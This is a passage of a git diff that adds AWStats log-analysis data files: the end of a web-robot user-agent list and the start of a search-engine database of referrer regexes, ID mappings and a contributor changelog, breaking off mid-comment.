+'netvibes', 'netvibes', +'newrelicpinger', 'newrelicpinger', +'newsfox', 'Fox News', +'nextgensearchbot', 'nextgensearchbot', +'ning', 'ning', +'pingdom', 'pingdom', +'pita', 'pita (pain in the ass?)', +'postpost', 'postpost', +'postrank', 'postrank', +'printfulbot', 'printfulbot', +'protopage', 'protopage', +'proximic', 'proximic', +'quipply', 'quipply', +'r6\_', '<a href="http://www.radian6.com/crawler">Radian 6 Crawler</a>', +'ratingburner', 'ratingburner', +'regator', 'regator', +'rome client', 'rome client', +'rpt\-httpclient', 'rpt-httpclient', +'rssgraffiti', 'rssgraffiti', +'sage\+\+', 'sage++', +'scoutjet', '<a href="http://wwww.scoutjet.com/" target="_blank">ScoutJet</a> crawler for <a href="http://blekko.com/" target="_blank">Blekko</a>.', +'simplepie', 'simplepie', +'sitebot', 'sitebot', +'summify\.com', '<a href="http://summify.com/">summify.com</a>', +'superfeedr', 'superfeedr', +'synthesio', 'synthesio', +'teoma', 'teoma', +'topblogsinfo', 'topblogsinfo', +'topix\.net', 'topix.net', +'trapit', 'trapit', +'trileet', 'trileet', +'tweetedtimes', '<a href="http://tweetedtimes.com">The Tweeted Times</a>', +'twisted pagegetter', 'twisted pagegetter', +'twitterbot', 'twitterbot', +'twitterfeed', 'twitterfeed', +'unwindfetchor', 'unwindfetchor', +'wazzup', 'wazzup', +'windows\-rss\-platform', 'windows-rss-platform', +'wiumi', 'wiumi', +'xydo', 'xydo', +'yahoo! slurp', 'Additional Yahoo bots.', +'yahoo pipes', 'Additional Yahoo bots.', +'yahoo\-newscrawler', 'Additional Yahoo bots.', +'yahoocachesystem', 'Additional Yahoo bots.', +'yahooexternalcache', 'Additional Yahoo bots.', +'yahoo! searchmonkey', 'Additional Yahoo bots.', +'yahooysmcm', 'Additional Yahoo bots.', +'yammer', 'yammer', +'yandexbot', 'yandexbot', +'yeti', 'yeti', +'yie8', 'yie8', +'youdao', 'youdao', +'yourls', 'yourls', +'zemanta', 'zemanta', +'zend_http_client', 'Zend Http Client', +'no_user_agent','Unknown robot (identified by empty user agent string)', +# Unknown robots identified by hit on robots.txt +'unknown', 'Unknown robot (identified by hit on \'robots.txt\')' +); + + +# RobotsAffiliateLib +# This list try to tell by which Search Engine a robot is used +#------------------------------------------------------------- +%RobotsAffiliateLib = ( +'bingpreview'=>'Bing', +'fast\-webcrawler'=>'AllTheWeb', +'googlebot'=>'Google', +'google\-sitemap'=>'Google', +'google[_+ ]web[_+ ]preview'=>'Google', +'msnbot'=>'MSN', +'nutch'=>'Looksmart', +'scooter'=>'AltaVista', +'wisenutbot'=>'Looksmart', +'yahoo\-blogs'=>'Yahoo', +'yahoo\-verticalcrawler'=>'Yahoo', +'yahoofeedseeker'=>'Yahoo', +'yahooseeker\-testing'=>'Yahoo', +'yahooseeker'=>'Yahoo', +'yahoo\-mmcrawler'=>'Yahoo', +'yahoo!_mindset'=>'Yahoo', +'zyborg'=>'Looksmart', +'cfetch'=>'Kosmix', +'^voyager\/'=>'Kosmix', +# Additional bots found by Sussex. +'feedfetcher\-google'=>'Google', +'bingbot'=>'MSN', +'twitterbot'=>'Twitter', +'twitterfeed'=>'Twitter', +'yahoo! slurp'=>'Yahoo', +'yahoo pipes'=>'Yahoo', +'yahoo-newscrawler'=>'Yahoo', +'yahoocachesystem'=>'Yahoo', +'yahooexternalcache'=>'Yahoo', +'yahoo! searchmonkey'=>'Yahoo', +'yahooysmcm'=>'Yahoo' +); + +1; diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/search_engines.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/search_engines.pm new file mode 100644 index 0000000..f9cedba --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/search_engines.pm @@ -0,0 +1,1267 @@ +# AWSTATS SEARCH ENGINES DATABASE +#------------------------------------------------------------------------------ +# If you want to add a Search Engine to extend AWStats database detection capabilities, +# you must add an entry in SearchEnginesSearchIDOrder, SearchEnginesHashID and in +# SearchEnginesHashLib. +# An entry if known in SearchEnginesKnownUrl is also welcome. +# +# to eldy: Please check if the following description is correct: +# You need the following information to specify a search engine: +# (a) A regular expression that matches the referrer string of the +# search engine. Unclear: What about slashes in the name of +# a search engine, e.g. as in 'ecosia.com/search'. Seems that +# AWStats will non find search strings containing a slash. +# Maybe use a search string without a slash, and - if necessary - +# an entry in %NotSearchEnginesKeys , if this search string +# matches entries that are not search engines. +# (b) A unique string to identify the search engine within AWStats +# (c) A regular expression that finds the start of the query part in the +# referrer string +# (d) A HTML-fragment that goes into the reports generated by AWStats which +# identifies the search engine to human reader of the report. In the +# simplest case this is a string containing the name of the search +# engine. You can also provide a hypertext clause that presents the +# name together with a link to the search engine. +# +# The regular expression (a) goes into SearchEnginesSearchIDOrder_list1 +# or ..._list2. List 1 contains common search engines, list 2 those +# that are not so often used. +# +# SearchEnginesHashID contains to consecutive entries for each search +# engine: The regular expression (a) followed bei the search engine +# identifier (b) +# +# SearchEnginesKnownUrl specifies how to find the start of the query. +# For each search engine you enter the search engine identifier (b) +# followed by the regular expression (c). Unclear: It is possible to +# omit this entry. If you do this, how will AWStats find the start of +# the query? +# +# SearchEnginesHashLib contains also two entries for each search engine: +# The search engine identifier (b) followed by the HTML-Fragment (d) +# +# There are search engines that do not use a query part in their URLs. +# They put the search expression in the main part of the URL instead. +# AWStats is able to handle these cases. They are specified as described +# above, except the following two things: +# - The regular expression (c) searches the complete URL and not only +# the query part. +# - An additional Entry in the list %SearchEnginesWithKeysNotInQuery is +# necessary. +# +# +# AWStats runs a sanity check of the contents of search_engines.pm. This +# check detects the following things: +# - Inconsistencies (number of entries) +# It does not detect the following errors: +# - If the HTML-Fragment (d) is syntactically incorrect. +# +#------------------------------------------------------------------------------ +# $Revision: 1.54 $ - $Author: eldy $ - $Date: 2013/06/05 08:18:28 $ + +# 2005-08-19 Sean Carlos http://www.antezeta.com/awstats.html +# added minor italian search engines +# arianna http://arianna.libero.it/ +# supereva http://search.supereva.com/ +# kataweb http://kataweb.it/ +# corrected uk looksmart +# 'askuk','ask=', 'bbc','q=', 'freeserve','q=', 'looksmart','key=', +# to +# 'askuk','ask=', 'bbc','q=', 'freeserve','q=', 'looksmartuk','key=', +# corrected spelling +# internationnal -> international +# added 'google\.'=>'mail\.google\.', to NotSearchEnginesKeys in order to +# avoid counting gmail referrals as search engine traffic +# 2005-08-21 Sean Carlos http://www.antezeta.com/awstats.html +# avoid counting babelfish.altavista referrals as search engine traffic +# avoid counting translate.google referrals as search engine traffic +# 2005-11-20 Sean Carlos +# added missing 'tiscali','key=', entry. Check order +# 2005-11-22 Sean Carlos +# added Google Base & Froogle. Froogle not tested. +# 2006-04-18 Sean Carlos http://www.antezeta.com/awstats.html +# added biglotron.com (France) +# added blingo http://www.blingo.com/ +# added Clusty & Vivisimo +# added eniro.no (Norway) [https://sourceforge.net/forum/message.php?msg_id=3134783] +# added GPU p2p search http://search.centraldatabase.org/ +# added mail.tiscali to "not search engines list" [https://sourceforge.net/forum/message.php?msg_id=3166688] +# added Ask group's "mysearch" +# added sify.com (India) +# added sogou.com (Cina) [https://sourceforge.net/forum/message.php?msg_id=3501603] +# Ask changes: +# - added Ask Japan (ask.jp) +# - break out Ask new country level variants (DE, ES, FR, IT, NL) +# - updated Ask name from Ask Jevees +# - added Ask q= parameter - many recent searches probably not recognized; [https://sourceforge.net/forum/message.php?msg_id=3465444] +# - updated Ask uk (new uk.ask.com added to older ask.co.uk) +# updated voila kw|rdata parameter [https://sourceforge.net/forum/message.php?msg_id=3373912] +# for each new engine, added link to Search Engine. This serves to document engine. Done for major & Italian engines as well. Requires patch +# to AWStats to allow untranslated html. Otherwise html will appear instead of link. +# reviewed mnoGoSearch (http://www.mnogosearch.org/); the search engined mentioned no longer +# exists https://sourceforge.net/forum/message.php?msg_id=3025426 +# 2006-05-13 Sean Carlos http://www.antezeta.com/awstats.html +# added 10 Chello European broadband portals (Austria, Belgium, Czech Republic, France, Hungary, The Netherlands, Norway, Poland, Slovakia, Sweden) +# added Alice Internal Search (blends data with Google?) search.alice.it.master:10005 +# added detection of google cache views from IPs 66.249.93.104 72.14.203.104 72.14.207.104 +# To do: add more extensive IP list; keywords not yet detected. +# added icerocket.com blog search http://www.icerocket.com/ +# added live.com (msn) http://www.live.com/ +# added Meta motor kartoo. Note: Kartoo does not provide search words in referrers, thus the engine will appear in the +# search engine list but the actual search words are not available. +# added netluchs.de http://www.netluchs.de/ +# added sphere.com blog search http://www.sphere.com/ +# added wwweasel.de http://wwweasel.de +# added Yahoo Mindset! http://mindset.research.yahoo.com/ +# updated Mirago query parameter recognition (qry=); added breakout for each country (France, Germany, Spain, Italy, Norway, Sweden, Denmark, Netherlands, Belgium, Switzerland) +# 2006-05-13 Sean Carlos http://www.antezeta.com/awstats.html +# added Google cache IPs 64.233.183.104 & 66.102.7.104 +# 2006-05-20 Sean Carlos http://www.antezeta.com/awstats.html +# anzwers.com.au +# schoenerbrausen.de http://www.schoenerbrausen.de/ +# added Google cache IP 216.239.59.104 +# answerbus http://www.answerbus.com/ (does not provide keywords) +# 2006-05-23 Sean Carlos http://www.antezeta.com/awstats.html +# added Google cache IP 66.102.9.104, 64.233.161.104 +# 2006-06-23 Sean Carlos http://www.antezeta.com/awstats.html +# added Alice Search search.alice.it +# added GoodSearch http://www.goodsearch.com/ (does not provide keywords) "a Yahoo-powered search engine that donates money to your favorite charity or school each time you search the web" +# added googlee.com, variant of Google +# added gotuneed http://www.gotuneed.com/ Italian search engine, in beta +# added icq.com +# added logic to parse Google Cache search keywords. Seems to work for alpha but not numeric cache IDs, i.e. search?q=cache:lWVLmnuGJswJ: is recognized but q=cache:Yv5qxeJNuhgJ: is not recognized. The URL triggering the keywords will also appear. The URLs are probably too varied to parse out? +# added Nusearch http://www.nusearch.com/ +# added Polymeta www.polymeta.hu (does not provide keywords) +# added scroogle http://www.scroogle.org/ (does not always provide keywords) +# added Tango http://tango.hu/search.php?st=0&q=jeles+napok +# Changed Google Cache notation 64\.233\.(161|167|179|183|187)\.104 to 64\.233\.1[0-9]{2}\.104 +# 72\.14\.(203|205|207|209|221)\.104 to 72\.14\.2[0-9]{2}\.104 +# 216\.239\.(51|59)\.104 to 216\.239\.5[0-9]\.104 +# 66\.102\.(7|9)\.104 to 66\.102\.[1-9]\.104 +# 2006-06-27 Sean Carlos http://www.antezeta.com/awstats.html +# added Onet.pl http://szukaj.onet.pl/ +# corrected name "Wirtualna Polska" from "Szukaj" (search); added link http://szukaj.wp.pl/ +# 2006-06-30 Sean Carlos http://www.antezeta.com/awstats.html +# Additional Polish Search Engines: +# added Dodaj.pl http://www.dodaj.pl/ +# added Gazeta.pl http://szukaj.gazeta.pl/ +# added Gery.pl http://szukaj.gery.pl/ +# added Hoga.pl http://www.hoga.pl/ +# added Interia.pl http://www.google.interia.pl/ +# added Katalog.Onet.pl http://katalog.onet.pl/ +# added NetSprint.pl http://www.netsprint.pl/ +# added o2.pl http://szukaj2.o2.pl/ +# added Polska http://szukaj.polska.pl/ +# added Szukacz http://www.szukacz.pl/ +# added Wow.pl http://szukaj.wow.pl/ +# added Sagool http://sagool.jp/ + +# 2006-08-25 Social Bookmarks +# International +# added del.icio.us/search - for now, just search referrer. To do: consider /tag/(tagname) referrer? +# added stumbleupon.com - No keywords supplied. +# added swik.net +# added digg. Keywords sometimes supplied. +# Italy +# added segnalo.alice.it - No keywords supplied. +# added ineffabile.it - No keywords supplied. + +# added filter for google groups. Attempt to parse group name as keyword. + +# 2006-09-14 +# added Eniro Sverige http://www.eniro.se/ +# added MyWebSearch http://search.mywebsearch.com/ +# added Teecno http://www.teecno.it/ Italian Open Source Search Engine + +#package AWSSE; + +# 2006-09-25 (Gabor Moizes) +# added 4-counter (Google alternative) http://4-counter.com/ +# added Googlecom (Google alternative) http://googlecom.com/ +# added Goggle (Google alternative) http://goggle.co.hu/ +# added Comet toolbar http://as.starware.com +# added new IP for Yahoo: 216.109.125.130 +# added Ledix http://ledix.net/ +# added AT&T search (powered by Google) http://www.att.net/ +# added Keresolap (Hungarian search engine) http://www.keresolap.hu/ +# added Mozbot (French search engine) http://www.mozbot.fr/ +# added Zoznam (Slovak search engine) http://www.zoznam.sk/ +# added sapo.pt (Portuguese search engine) http://www.sapo.pt/ +# added shaw.ca (powered by Google) http://start.shaw.ca/ +# added Searchalot http://www.searchalot.com/ +# added Copernic http://www.copernic.com/ +# added 216.109.125.130 to Yahoo +# added 66.218.69.11 to Yahoo +# added Avantfind http://www.avantfind.com/ +# added Steadysearch http://www.steadysearch.com/ +# added Steadysearch http://www.steady-search.com/ +# modified 216\.239\.5[0-9]\.104/search to 216\.239\.5[0-9]\.104 + + +# SearchEnginesSearchIDOrder +# It contains all matching criteria to search for in log fields. This list is +# used to know in which order to search Search Engines IDs. +# Most frequent one are in list1, used when LevelForSearchEnginesDetection is 1 or more +# Minor robots are in list2, used when LevelForSearchEnginesDetection is 2 or more +# Note: Regex IDs are in lower case and ' ' and '+' are changed into '_' +#------------------------------------------------------------------------------ +@SearchEnginesSearchIDOrder_list1=( +# Major international search engines +'google\.[\w.]+/products', +'base\.google\.', +'froogle\.google\.', +'groups\.google\.', +'images\.google\.', +'google\.', +'googlee\.', +'googlecom\.com', +'goggle\.co\.hu', +'216\.239\.(35|37|39|51)\.100', +'216\.239\.(35|37|39|51)\.101', +'216\.239\.5[0-9]\.104', +'64\.233\.1[0-9]{2}\.104', +'66\.102\.[1-9]\.104', +'66\.249\.93\.104', +'72\.14\.2[0-9]{2}\.104', +'msn\.', +'live\.com', +'bing\.', +'voila\.', +'mindset\.research\.yahoo', +'yahoo\.','(66\.218\.71\.225|216\.109\.117\.135|216\.109\.125\.130|66\.218\.69\.11)', +'search\.aol\.co', +'tiscali\.', +'lycos\.', +'alexa\.com', +'alltheweb\.com', +'altavista\.', +'a9\.com', +'dmoz\.org', +'netscape\.', +'search\.terra\.', +'www\.search\.com', +'search\.sli\.sympatico\.ca', +'excite\.' +); + +@SearchEnginesSearchIDOrder_list2=( +# Minor international search engines +'4\-counter\.com', +'att\.net', +'bungeebonesdotcom', +'northernlight\.', +'hotbot\.', +'kvasir\.', +'webcrawler\.', +'metacrawler\.', +'go2net\.com', +'(^|\.)go\.com', +'euroseek\.', +'looksmart\.', +'spray\.', +'nbci\.com\/search', +'de\.ask.\com', # break out Ask country specific engines. (.jp is in Japan section) +'es\.ask.\com', +'fr\.ask.\com', +'it\.ask.\com', +'nl\.ask.\com', +'uk\.ask.\com', +'(^|\.)ask\.com', +'atomz\.', +'overture\.com', # Replace 'goto\.com','Goto.com', +'teoma\.', +'findarticles\.com', +'infospace\.com', +'mamma\.', +'dejanews\.', +'dogpile\.com', +'wisenut\.com', +'ixquick\.com', +'search\.earthlink\.net', +'i-une\.com', +'blingo\.com', +'centraldatabase\.org', +'clusty\.com', +'mysearch\.', +'vivisimo\.com', +'kartoo\.com', +'icerocket\.com', +'sphere\.com', +'ledix\.net', +'start\.shaw\.ca', +'searchalot\.com', +'copernic\.com', +'avantfind\.com', +'steadysearch\.com', +'steady-search\.com', +'claro-search\.com', +'www1\.search-results\.com', +'www\.holasearch\.com', +'search\.conduit\.com', +'static\.flipora\.com', +'(?:www[12]?|mixidj)\.delta-search\.com', +'start\.iminent\.com', +'www\.searchmobileonline\.com', +'int\.search-results\.com', +# Chello Portals +'chello\.at', +'chello\.be', +'chello\.cz', +'chello\.fr', +'chello\.hu', +'chello\.nl', +'chello\.no', +'chello\.pl', +'chello\.se', +'chello\.sk', +'chello', # required as catchall for new countries not yet known +# Mirago +'mirago\.be', +'mirago\.ch', +'mirago\.de', +'mirago\.dk', +'es\.mirago\.com', +'mirago\.fr', +'mirago\.it', +'mirago\.nl', +'no\.mirago\.com', +'mirago\.se', +'mirago\.co\.uk', +'mirago', # required as catchall for new countries not yet known +'answerbus\.com', +'icq\.com\/search', +'nusearch\.com', +'goodsearch\.com', +'scroogle\.org', +'questionanswering\.com', +'mywebsearch\.com', +'as\.starware\.com', +# Social Bookmarking Services +'del\.icio\.us', +'digg\.com', +'stumbleupon\.com', +'swik\.net', +'segnalo\.alice\.it', +'ineffabile\.it', +# Minor Australian search engines +'anzwers\.com\.au', +# Minor brazilian search engines +'engine\.exe', 'miner\.bol\.com\.br', +# Minor chinese search engines +'\.baidu\.com', # baidu search portal +'\.vnet\.cn', # powered by MSN +'\.soso\.com', # powered by Google +'\.sogou\.com', # powered by Sohu +'\.3721\.com', # powered by Yahoo! +'iask\.com', # powered by Sina +'\.accoona\.com', # Accoona +'\.163\.com', # powered by Google +'\.zhongsou\.com', # zhongsou search portal +# Minor czech search engines +'atlas\.cz','seznam\.cz','quick\.cz','centrum\.cz','jyxo\.(cz|com)','najdi\.to','redbox\.cz', +'isearch\.avg\.com', +# Minor danish search-engines +'opasia\.dk', 'danielsen\.com', 'sol\.dk', 'jubii\.dk', 'find\.dk', 'edderkoppen\.dk', 'netstjernen\.dk', 'orbis\.dk', 'tyfon\.dk', '1klik\.dk', 'ofir\.dk', +# Minor dutch search engines +'ilse\.','vindex\.', +# Minor english search engines +'(^|\.)ask\.co\.uk','bbc\.co\.uk/cgi-bin/search','ifind\.freeserve','looksmart\.co\.uk','splut\.','spotjockey\.','ukdirectory\.','ukindex\.co\.uk','ukplus\.','searchy\.co\.uk', +'search\.fbdownloader\.com', +'search\.babylon\.com', +# Minor finnish search engines +'haku\.www\.fi', +# Minor french search engines +'recherche\.aol\.fr','ctrouve\.','francite\.','\.lbb\.org','rechercher\.libertysurf\.fr', 'search[\w\-]+\.free\.fr', 'recherche\.club-internet\.fr', +'toile\.com', 'biglotron\.com', +'mozbot\.fr', +# Minor german search engines +'sucheaol\.aol\.de', +'o2suche\.aol\.de', +'fireball\.de','infoseek\.de','suche\d?\.web\.de','[a-z]serv\.rrzn\.uni-hannover\.de', +'suchen\.abacho\.de','(brisbane|suche)\.t-online\.de','allesklar\.de','meinestadt\.de', +'212\.227\.33\.241', +'(161\.58\.227\.204|161\.58\.247\.101|212\.40\.165\.90|213\.133\.108\.202|217\.160\.108\.151|217\.160\.111\.99|217\.160\.131\.108|217\.160\.142\.227|217\.160\.176\.42)', +'wwweasel\.de', +'netluchs\.de', +'schoenerbrausen\.de', +'suche\.gmx\.net', +'ecosia\.org', +'de\.aolsearch\.com', +'suche\.aol\.de', +'www\.startxxl\.com', +'www\.benefind\.de', +# Minor Hungarian search engines +'heureka\.hu','vizsla\.origo\.hu','lapkereso\.hu','goliat\.hu','index\.hu','wahoo\.hu','webmania\.hu','search\.internetto\.hu', +'tango\.hu', +'keresolap\.hu', +'polymeta\.hu', +# Minor Indian search engines +'sify\.com', +# Minor Italian search engines +'virgilio\.it','arianna\.libero\.it','supereva\.com','kataweb\.it','search\.alice\.it\.master','search\.alice\.it','gotuneed\.com', +'godado','jumpy\.it','shinyseek\.it','teecno\.it', +# Minor Israeli search engines +'search\.genieo\.com', +# Minor Japanese search engines +'ask\.jp','sagool\.jp', +# Minor Norwegian search engines +'sok\.start\.no', 'eniro\.no', +# Minor Polish search engines +'szukaj\.wp\.pl','szukaj\.onet\.pl','dodaj\.pl','gazeta\.pl','gery\.pl','hoga\.pl','netsprint\.pl','interia\.pl','katalog\.onet\.pl','o2\.pl','polska\.pl','szukacz\.pl','wow\.pl', +# Minor russian search engines +'ya(ndex)?\.ru', 'aport\.ru', 'rambler\.ru', 'turtle\.ru', 'metabot\.ru', +# Minor Swedish search engines +'evreka\.passagen\.se','eniro\.se', +# Minor Slovak search engines +'zoznam\.sk', +# Minor Portuguese search engines +'sapo\.pt', +# Minor swiss search engines +'search\.ch', 'search\.bluewin\.ch', +# Minor Croatian, Serbian, Macedonian, Bosnian and Herzegovinian search engines +'pogodak\.' +); +@SearchEnginesSearchIDOrder_listgen=( +# Generic search engines +'search\..*\.\w+' +); + + +# NotSearchEnginesKeys +# If a search engine key is found, we check its exclude list to know if it's +# really a search engine +#------------------------------------------------------------------------------ +%NotSearchEnginesKeys=( +'altavista\.'=>'babelfish\.altavista\.', +'google\.'=>'mail\.google\.', +'google\.'=>'translate\.google\.', +'msn\.'=>'hotmail\.msn\.', +'tiscali\.'=>'mail\.tiscali\.', +'yahoo\.'=>'mail\.yahoo\.', +'yandex\.'=>'direct\.yandex\.' +); + + +# SearchEnginesHashID +# Each Search Engine Search ID is associated to an AWStats id string +#------------------------------------------------------------------------------ +%SearchEnginesHashID = ( +# Major international search engines +'google\.[\w.]+/products','google_products', +'base\.google\.','google_base', +'froogle\.google\.','google_froogle', +'groups\.google\.','google_groups', +'images\.google\.','google_image', +'google\.','google', +'googlee\.','google', +'googlecom\.com','google', +'goggle\.co\.hu','google', +'216\.239\.(35|37|39|51)\.100','google_cache', +'216\.239\.(35|37|39|51)\.101','google_cache', +'216\.239\.5[0-9]\.104','google_cache', +'64\.233\.1[0-9]{2}\.104','google_cache', +'66\.102\.[1-9]\.104','google_cache', +'66\.249\.93\.104','google_cache', +'72\.14\.2[0-9]{2}\.104','google_cache', +'msn\.','msn', +'live\.com','live', +'bing\.','bing', +'voila\.','voila', +'mindset\.research\.yahoo','yahoo_mindset', +'yahoo\.','yahoo','(66\.218\.71\.225|216\.109\.117\.135|216\.109\.125\.130|66\.218\.69\.11)','yahoo', +'lycos\.','lycos', +'alexa\.com','alexa', +'alltheweb\.com','alltheweb', +'altavista\.','altavista', +'a9\.com','a9', +'dmoz\.org','dmoz', +'netscape\.','netscape', +'search\.terra\.','terra', +'www\.search\.com','search.com', +'tiscali\.','tiscali', +'search\.aol\.co','aol', +'search\.sli\.sympatico\.ca','sympatico', +'excite\.','excite', +# Minor international search engines +'4\-counter\.com','google4counter', +'att\.net','att', +'bungeebonesdotcom','bungeebonesdotcom', +'northernlight\.','northernlight', +'hotbot\.','hotbot', +'kvasir\.','kvasir', +'webcrawler\.','webcrawler', +'metacrawler\.','metacrawler', +'go2net\.com','go2net', +'(^|\.)go\.com','go', +'euroseek\.','euroseek', +'looksmart\.','looksmart', +'spray\.','spray', +'nbci\.com\/search','nbci', +'de\.ask.\com','askde', # break out Ask country specific engines. +'es\.ask.\com','askes', +'fr\.ask.\com','askfr', +'it\.ask.\com','askit', +'nl\.ask.\com','asknl', +'uk\.ask.\com','askuk', +'(^|\.)ask\.co\.uk','askuk', +'(^|\.)ask\.com','ask', +'atomz\.','atomz', +'overture\.com','overture', # Replace 'goto\.com','Goto.com', +'teoma\.','teoma', +'findarticles\.com','findarticles', +'infospace\.com','infospace', +'mamma\.','mamma', +'dejanews\.','dejanews', +'dogpile\.com','dogpile', +'wisenut\.com','wisenut', +'ixquick\.com','ixquick', +'search\.earthlink\.net','earthlink', +'i-une\.com','iune', +'blingo\.com','blingo', +'centraldatabase\.org','centraldatabase', +'clusty\.com','clusty', +'mysearch\.','mysearch', +'vivisimo\.com','vivisimo', +'kartoo\.com','kartoo', +'icerocket\.com','icerocket', +'sphere\.com','sphere', +'ledix\.net','ledix', +'start\.shaw\.ca','shawca', +'searchalot\.com','searchalot', +'copernic\.com','copernic', +'avantfind\.com','avantfind', +'steadysearch\.com','steadysearch', +'steady-search\.com','steadysearch', +'claro-search\.com','clarosearch', +'www1\.search-results\.com', 'searchresults', +'www\.holasearch\.com', 'holasearch', +'search\.conduit\.com', 'conduit', +'static\.flipora\.com', 'flipora', +'(?:www[12]?|mixidj)\.delta-search\.com', 'delta-search', +'start\.iminent\.com', 'iminent', +'www\.searchmobileonline\.com', 'searchmobileonline', +'int\.search-results\.com', 'nortonsavesearch', +# Chello Portals +'chello\.at','chelloat', +'chello\.be','chellobe', +'chello\.cz','chellocz', +'chello\.fr','chellofr', +'chello\.hu','chellohu', +'chello\.nl','chellonl', +'chello\.no','chellono', +'chello\.pl','chellopl', +'chello\.se','chellose', +'chello\.sk','chellosk', +'chello','chellocom', +# Mirago +'mirago\.be','miragobe', +'mirago\.ch','miragoch', +'mirago\.de','miragode', +'mirago\.dk','miragodk', +'es\.mirago\.com','miragoes', +'mirago\.fr','miragofr', +'mirago\.it','miragoit', +'mirago\.nl','miragonl', +'no\.mirago\.com','miragono', +'mirago\.se','miragose', +'mirago\.co\.uk','miragocouk', +'mirago','mirago', # required as catchall for new countries not yet known +'answerbus\.com','answerbus', +'icq\.com\/search','icq', +'nusearch\.com','nusearch', +'goodsearch\.com','goodsearch', +'scroogle\.org','scroogle', +'questionanswering\.com','questionanswering', +'mywebsearch\.com','mywebsearch', +'as\.starware\.com','comettoolbar', +# Social Bookmarking Services +'del\.icio\.us','delicious', +'digg\.com','digg', +'stumbleupon\.com','stumbleupon', +'swik\.net','swik', +'segnalo\.alice\.it','segnalo', +'ineffabile\.it','ineffabile', +# Minor Australian search engines +'anzwers\.com\.au','anzwers', +# Minor brazilian search engines +'engine\.exe','engine', +'miner\.bol\.com\.br','miner', +# Minor chinese search engines +'\.baidu\.com','baidu', +'iask\.com','iask', +'\.accoona\.com','accoona', +'\.3721\.com','3721', +'\.163\.com','netease', +'\.soso\.com','soso', +'\.zhongsou\.com','zhongsou', +'\.vnet\.cn','vnet', +'\.sogou\.com','sogou', +# Minor czech search engines +'atlas\.cz','atlas', +'seznam\.cz','seznam', +'quick\.cz','quick', +'centrum\.cz','centrum', +'jyxo\.(cz|com)','jyxo', +'najdi\.to','najdi', +'redbox\.cz','redbox', +'isearch\.avg\.com', 'avgsearch', +# Minor danish search-engines +'opasia\.dk','opasia', +'danielsen\.com','danielsen', +'sol\.dk','sol', +'jubii\.dk','jubii', +'find\.dk','finddk', +'edderkoppen\.dk','edderkoppen', +'netstjernen\.dk','netstjernen', +'orbis\.dk','orbis', +'tyfon\.dk','tyfon', +'1klik\.dk','1klik', +'ofir\.dk','ofir', +# Minor dutch search engines +'ilse\.','ilse', +'vindex\.','vindex', +# Minor english search engines +'bbc\.co\.uk/cgi-bin/search','bbc', +'ifind\.freeserve','freeserve', +'looksmart\.co\.uk','looksmartuk', +'splut\.','splut', +'spotjockey\.','spotjockey', +'ukdirectory\.','ukdirectory', +'ukindex\.co\.uk','ukindex', +'ukplus\.','ukplus', +'searchy\.co\.uk','searchy', +'search\.fbdownloader\.com','fbdownloader', +'search\.babylon\.com', 'babylon', +# Minor finnish search engines +'haku\.www\.fi','haku', +# Minor french search engines +'recherche\.aol\.fr','aolfr', +'ctrouve\.','ctrouve', +'francite\.','francite', +'\.lbb\.org','lbb', +'rechercher\.libertysurf\.fr','libertysurf', +'search[\w\-]+\.free\.fr','free', +'recherche\.club-internet\.fr','clubinternet', +'toile\.com','toile', +'biglotron\.com', 'biglotron', +'mozbot\.fr', 'mozbot', +# Minor german search engines +'sucheaol\.aol\.de','aolde', +'o2suche\.aol\.de','o2aolde', +'fireball\.de','fireball', +'infoseek\.de','infoseek', +'suche\d?\.web\.de','webde', +'[a-z]serv\.rrzn\.uni-hannover\.de','meta', +'suchen\.abacho\.de','abacho', +'(brisbane|suche)\.t-online\.de','t-online', +'allesklar\.de','allesklar', +'meinestadt\.de','meinestadt', +'212\.227\.33\.241','metaspinner', +'(161\.58\.227\.204|161\.58\.247\.101|212\.40\.165\.90|213\.133\.108\.202|217\.160\.108\.151|217\.160\.111\.99|217\.160\.131\.108|217\.160\.142\.227|217\.160\.176\.42)','metacrawler_de', +'wwweasel\.de','wwweasel', +'netluchs\.de','netluchs', +'schoenerbrausen\.de','schoenerbrausen', +'suche\.gmx\.net', 'gmxsuche', +'ecosia\.org', 'ecosiasearch', +'de\.aolsearch\.com', 'aolsearch', +'suche\.aol\.de', 'aolsuche', +'www\.startxxl\.com', 'startxxl', +'www\.benefind\.de', 'benefind', +# Minor Hungarian search engines +'heureka\.hu','heureka', +'vizsla\.origo\.hu','origo', +'lapkereso\.hu','lapkereso', +'goliat\.hu','goliat', +'index\.hu','indexhu', +'wahoo\.hu','wahoo', +'webmania\.hu','webmania', +'search\.internetto\.hu','internetto', +'tango\.hu','tango_hu', +'keresolap\.hu','keresolap_hu', +'polymeta\.hu','polymeta_hu', +# Minor Indian search engines +'sify\.com','sify', +# Minor Italian search engines +'virgilio\.it','virgilio', +'arianna\.libero\.it','arianna', +'supereva\.com','supereva', +'kataweb\.it','kataweb', +'search\.alice\.it\.master','aliceitmaster', +'search\.alice\.it','aliceit', +'gotuneed\.com','gotuneed', +'godado','godado', +'jumpy\.it','jumpy\.it', +'shinyseek\.it','shinyseek\.it', +'teecno\.it','teecnoit', +# Minor Israeli search engines +'search\.genieo\.com', 'genieo', +# Minor Japanese search engines +'ask\.jp','askjp', +'sagool\.jp','sagool', +# Minor Norwegian search engines +'sok\.start\.no','start', 'eniro\.no','eniro', +# Minor Polish search engines +'szukaj\.wp\.pl','wp', +'szukaj\.onet\.pl','onetpl', +'dodaj\.pl','dodajpl', +'gazeta\.pl','gazetapl', +'gery\.pl','gerypl', +'netsprint\.pl\/hoga\-search','hogapl', +'netsprint\.pl','netsprintpl', +'interia\.pl','interiapl', +'katalog\.onet\.pl','katalogonetpl', +'o2\.pl','o2pl', +'polska\.pl','polskapl', +'szukacz\.pl','szukaczpl', +'wow\.pl','wowpl', +# Minor russian search engines +'ya(ndex)?\.ru','yandex', +'aport\.ru','aport', +'rambler\.ru','rambler', +'turtle\.ru','turtle', +'metabot\.ru','metabot', +# Minor Swedish search engines +'evreka\.passagen\.se','passagen', +'eniro\.se','enirose', +# Minor Slovak search engines +'zoznam\.sk','zoznam', +# Minor Portuguese search engines +'sapo\.pt','sapo', +# Minor swiss search engines +'search\.ch','searchch', +'search\.bluewin\.ch','bluewin', +# Minor Croatian, Serbian, Macedonian, Bosnian and Herzegovinian search engines +'pogodak\.','pogodak', +# Generic search engines +'search\..*\.\w+','search' +); + + +# SearchEnginesWithKeysNotInQuery +# List of search engines that 